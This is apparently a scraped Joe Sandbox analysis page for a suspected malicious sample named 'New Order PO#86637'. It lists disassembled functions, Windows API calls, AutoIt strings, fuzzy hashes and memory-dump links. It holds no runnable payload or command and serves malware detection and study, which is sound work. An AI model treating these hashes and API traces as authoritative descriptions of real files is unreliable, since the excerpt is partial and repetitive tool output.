Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
String ID:
API String ID: 2783949968-0
Opcode ID: 4ed419099ee229fcfe9d8e0d6407f17218ff084d459cc4b150d2894610f6bb04
Instruction ID: af9b10de2b5e1f20f757a647655db97b0f5a8bbb123370319d9b3a4020b10ea9
Opcode Fuzzy Hash: 4ed419099ee229fcfe9d8e0d6407f17218ff084d459cc4b150d2894610f6bb04
Instruction Fuzzy Hash: EBF06770105258BBE721AF54ED4EFAF3B9CAB06310F108119FE01622D1C7B86A02CBA9

Function 0043646A Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00436489
GetWindowThreadProcessId.USER32(?,00000000), ref: 0043649C
GetCurrentThreadId.KERNEL32 ref: 004364A3
AttachThreadInput.USER32(00000000), ref: 004364AA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 1738b650cb43453f600e53b83a6833ccb1a076b1e6f33d9371cddf7c9876f8ab
Instruction ID: 8dfc3faa83ebd232c18032ab1719f084f6ac8c8028b438e2b3a9de4cfe148046
Opcode Fuzzy Hash: 1738b650cb43453f600e53b83a6833ccb1a076b1e6f33d9371cddf7c9876f8ab
Instruction Fuzzy Hash: 61F06D7168470477EB209BA09D0EFDF379CAB18B11F10C41ABB04BA0C0C6F8B50087AD

Function 00436C2B Relevance: 6.0, APIs: 4, Instructions: 29synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00436C38
UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 00436C46
CloseHandle.KERNEL32(?,?,000000FF), ref: 00436C56
CloseHandle.KERNEL32(?,?,000000FF), ref: 00436C5B

Part of subcall function 00436BA9: GetProcessHeap.KERNEL32(00000000,?), ref: 00436BB6
Part of subcall function 00436BA9: HeapFree.KERNEL32(00000000), ref: 00436BBD

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: b977b2fe1054b7dcb1d3ac6099765c2a2cefd6419b68de81ef4d64d3a5db7b42
Instruction ID: 8fc8aea04bb3fa9100768a89291620bc24087d812574934f99790ad9b639e1d9
Opcode Fuzzy Hash: b977b2fe1054b7dcb1d3ac6099765c2a2cefd6419b68de81ef4d64d3a5db7b42
Instruction Fuzzy Hash: D9E0C97A510215ABC720EBA6DC48C5BB7ACEF99330311892EFD9683750DA74F840CFA4

Function 00472B63 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00472B63
GetDC.USER32(00000000), ref: 00472B6C
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00472B78
ReleaseDC.USER32(00000000,?), ref: 00472B99

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 25b4e9c05087b9933bd86976477b7eaa0c4512bf79646aedece74daf711fda7f
Instruction ID: 759e45c534ddacfdadb557a06d932f9b55f62470d77a370046d272fbe6975a9a
Opcode Fuzzy Hash: 25b4e9c05087b9933bd86976477b7eaa0c4512bf79646aedece74daf711fda7f
Instruction Fuzzy Hash: BFF03071900205AFDB00EFB5DA4DA5DB7F4FB44315B10887EFD05D7251EAB59900DB54

Function 00472BB2 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00472BB2
GetDC.USER32(00000000), ref: 00472BBB
GetDeviceCaps.GDI32(00000000,00000074), ref: 00472BC7
ReleaseDC.USER32(00000000,?), ref: 00472BE8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: cc3434de2b8b5abc20458b04240aea2a6e15dc869db4e5eb232345cc1bf11604
Instruction ID: 439663e17c05eb9dd95bc161916493026628bcc8c78d0f5787bb5213a8e6c1b3
Opcode Fuzzy Hash: cc3434de2b8b5abc20458b04240aea2a6e15dc869db4e5eb232345cc1bf11604
Instruction Fuzzy Hash: FAF03075900205AFCB00EFB5DA8856DB7F4FB84315B10887EFD05D7250DB7999019B94

Function 0041514D Relevance: 6.0, APIs: 4, Instructions: 16threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00415150

Part of subcall function 004179F0: GetLastError.KERNEL32(?,?,00417F7C,00413644,?,?,004115F6,?,00401BAC,?,?,?), ref: 004179F4
Part of subcall function 004179F0: ___set_flsgetvalue.LIBCMT ref: 00417A02
Part of subcall function 004179F0: __calloc_crt.LIBCMT ref: 00417A16
Part of subcall function 004179F0: GetCurrentThreadId.KERNEL32 ref: 00417A46
Part of subcall function 004179F0: SetLastError.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 00417A5E

CloseHandle.KERNEL32(?,?,0041519B), ref: 00415164
__freeptd.LIBCMT ref: 0041516B
ExitThread.KERNEL32 ref: 00415173

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLastThread$CloseCurrentExitHandle___set_flsgetvalue__calloc_crt__freeptd__getptd_noexit
String ID:
API String ID: 1454798553-0
Opcode ID: 061228abfcaf70d0abda61f2bc5ea784a59968e7eaac298a3a03e2daddecc56e
Instruction ID: f82a1693998e09e6351869d5e4a2ded823041337c12103c56f11d560ed0c89ab
Opcode Fuzzy Hash: 061228abfcaf70d0abda61f2bc5ea784a59968e7eaac298a3a03e2daddecc56e
Instruction Fuzzy Hash: BCD0A732805E10A7C122273D5C0DBDF26655F40735B140B09FC25872D1CBACDDC143AC

Function 0042F373 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 370COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 0042F551

Strings

Q\E, xrefs: 0042F54B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _strncmp
String ID: Q\E
API String ID: 909875538-2189900498
Opcode ID: 065ac9b34865f8fc92d580161c5db786cff1d7033ea8ce1a4bef46ec8c054806
Instruction ID: ec78d02982e52cebfc3c5ce94050df53d12509a5c8006a296af1ac46f88178f7
Opcode Fuzzy Hash: 065ac9b34865f8fc92d580161c5db786cff1d7033ea8ce1a4bef46ec8c054806
Instruction Fuzzy Hash: 34C1A070A04279ABDF318E58A4507ABBBB5AF59310FE441BFD8D493341D2784D8ACB89

Function 00460D41 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(00000000,00000001), ref: 00460F3E

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

Part of subcall function 00445660: OleSetContainedObject.OLE32(?,00000000), ref: 004456DD

Part of subcall function 00451B42: GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451BF8
Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000068,?), ref: 00451C0E
Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000088,?), ref: 00451C27
Part of subcall function 00451B42: VariantClear.OLEAUT32(-00000058), ref: 00451CA1

Strings

AutoIt3GUI, xrefs: 00460EA7
Container, xrefs: 00460EAC

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$Copy$ContainedObject$ClearErrorLast_malloc
String ID: AutoIt3GUI$Container
API String ID: 2652923123-3941886329
Opcode ID: 662e4c56437cfc6d97a34dfd7b47562ea5a254ee8eeedf1ae9933f7f1d1523bc
Instruction ID: 68a0a4eee7c61d0b7a6187be62517e39d581686f9474de6139c94a20f06104f0
Opcode Fuzzy Hash: 662e4c56437cfc6d97a34dfd7b47562ea5a254ee8eeedf1ae9933f7f1d1523bc
Instruction Fuzzy Hash: 68A15D746006059FDB10DF69C881B6BB7E4FF88704F24896AEA09CB351EB75E841CB65

Function 0044F3F4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D011
_strncmp.LIBCMT ref: 0044FA43

Strings

U, xrefs: 0044FB88
\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove_strncmp
String ID: U$\
API String ID: 2666721431-100911408
Opcode ID: a4fdddafd13fd2658ce45903ac35fff56edfd8920f85f030d52c4513684e2ed7
Instruction ID: d3eef72359a6f1828d14317ef8b56b8bfbdd52bf5bc7584d89ae5f72f5b530e1
Opcode Fuzzy Hash: a4fdddafd13fd2658ce45903ac35fff56edfd8920f85f030d52c4513684e2ed7
Instruction Fuzzy Hash: 13718F70E00245CFEF24CFA9C9906AEFBF2AF99304F24826ED445A7345D778A946CB15

Function 00467215 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182

__wcsnicmp.LIBCMT ref: 00467288
WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 0046732E

Strings

LPT, xrefs: 00467282

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Connection__wcsnicmp_wcscpy_wcslen
String ID: LPT
API String ID: 3035604524-1350329615
Opcode ID: df00d6e4b866e053a8717e7cd00b83b505630e9b2d4c108cf88e8e3b58e1c49d
Instruction ID: cd88b7ab87c5f5a0ce5478f82160e7cdfa8c7cefd9f65e810a8a3337a25aa570
Opcode Fuzzy Hash: df00d6e4b866e053a8717e7cd00b83b505630e9b2d4c108cf88e8e3b58e1c49d
Instruction Fuzzy Hash: FB51E675A04204ABDB10DF54CC81FAFB7B5AB84708F10855EF905AB381E778EE85CB99

Function 0044F082 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D011

Strings

h, xrefs: 0044F78E
\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: \$h
API String ID: 4104443479-677774858
Opcode ID: a8076df7cf2e4be12816d18a067c44a6d5606508540493043604d0ea2b9ab827
Instruction ID: de34c7bb2fe7d28e42aef252d9636822906cf09101983ade98a7172327fa6e04
Opcode Fuzzy Hash: a8076df7cf2e4be12816d18a067c44a6d5606508540493043604d0ea2b9ab827
Instruction Fuzzy Hash: F551A370E002098FDF18CFA9C980AAEB7F2BFC9304F28826AD405AB345D7389D45CB55

Function 0043999F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00439B66
_memcmp.LIBCMT ref: 00439BBA

Strings

&, xrefs: 004399B8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memcmp
String ID: &
API String ID: 2931989736-1010288
Opcode ID: a81d5415846f9cf6a42c700ef8b5aeadd08d018be41d214ef7d3fe054b701e0f
Instruction ID: 5cd53615f07abd051f481cac668b43ae4088e938354b3ed51608dfeeaf990cc9
Opcode Fuzzy Hash: a81d5415846f9cf6a42c700ef8b5aeadd08d018be41d214ef7d3fe054b701e0f
Instruction Fuzzy Hash: EC517BB1A0011A9FDB18CF95D891ABFB7B5FF88300F14915AE815A7344D278AE42CBA4

Function 0044D3D5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D144

Strings

\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: \
API String ID: 4104443479-2967466578
Opcode ID: 59d63d8f709c00c8b633315d640480ed85dcad38184220530ca382b626518ab4
Instruction ID: e0e732097d18f8f10327b86eac3a97b4532b2e4be511d275227a7a0ca48fbcca
Opcode Fuzzy Hash: 59d63d8f709c00c8b633315d640480ed85dcad38184220530ca382b626518ab4
Instruction Fuzzy Hash: 2451C570E002498FEF24CFA9C8902AEFBB2BF95314F28826BD45597385D7395D86CB45

Function 004667E1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00466825
InternetCrackUrlW.WININET(?,00000000,?), ref: 0046682F

Strings

|, xrefs: 0046680C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 629f28f3e202f2691df4b53306abf03f6cbb1f7e83fd6186c7c4399916927608
Instruction ID: c4ea99685e293915e64884ba1c360efc28696701351dc191072b09a6dd262d67
Opcode Fuzzy Hash: 629f28f3e202f2691df4b53306abf03f6cbb1f7e83fd6186c7c4399916927608
Instruction Fuzzy Hash: B1415076E10209ABDB00EFA5D881BEEB7B8FF58314F00002AE604A7291D7757916CBE5

Function 0044835A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00448446
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044845F

Strings

', xrefs: 004483B9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 21874a52306f08f821648492a7afc6200e27140433d35547b734f0a4523aa872
Instruction ID: ddf1801fc3b7a37e921bcadc6f33ff454999d78e89978ed9e0859c1643e2593c
Opcode Fuzzy Hash: 21874a52306f08f821648492a7afc6200e27140433d35547b734f0a4523aa872
Instruction Fuzzy Hash: 46418E71A002099FDB04CF98D880AEEB7B5FF59300F14816EED04AB341DB756952CFA5

Function 0040F850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0040F858

Part of subcall function 0040F880: _memmove.LIBCMT ref: 0040F8C9

Part of subcall function 0040F880: _memmove.LIBCMT ref: 0040F8E3

_sprintf.LIBCMT ref: 0040F9AE

Strings

%02X, xrefs: 0040F9A8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove$_sprintf_strlen
String ID: %02X
API String ID: 1921645428-436463671
Opcode ID: 767cb60b44986bc828a60f9d0ec6f7d4d26665b5612a1b4657e1e4afb2f114d1
Instruction ID: e5a937a20bc973e7022889ba35624413ac66f4a4f80aeb0e2d5e31f1d02bff57
Opcode Fuzzy Hash: 767cb60b44986bc828a60f9d0ec6f7d4d26665b5612a1b4657e1e4afb2f114d1
Instruction Fuzzy Hash: 3E21287270021436D724B66E8C82FDAB39CAF55744F50007FF501A76C1EABCBA1983AD

Function 00451006 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0045109A
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004510A8

Strings

Combobox, xrefs: 00451067

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

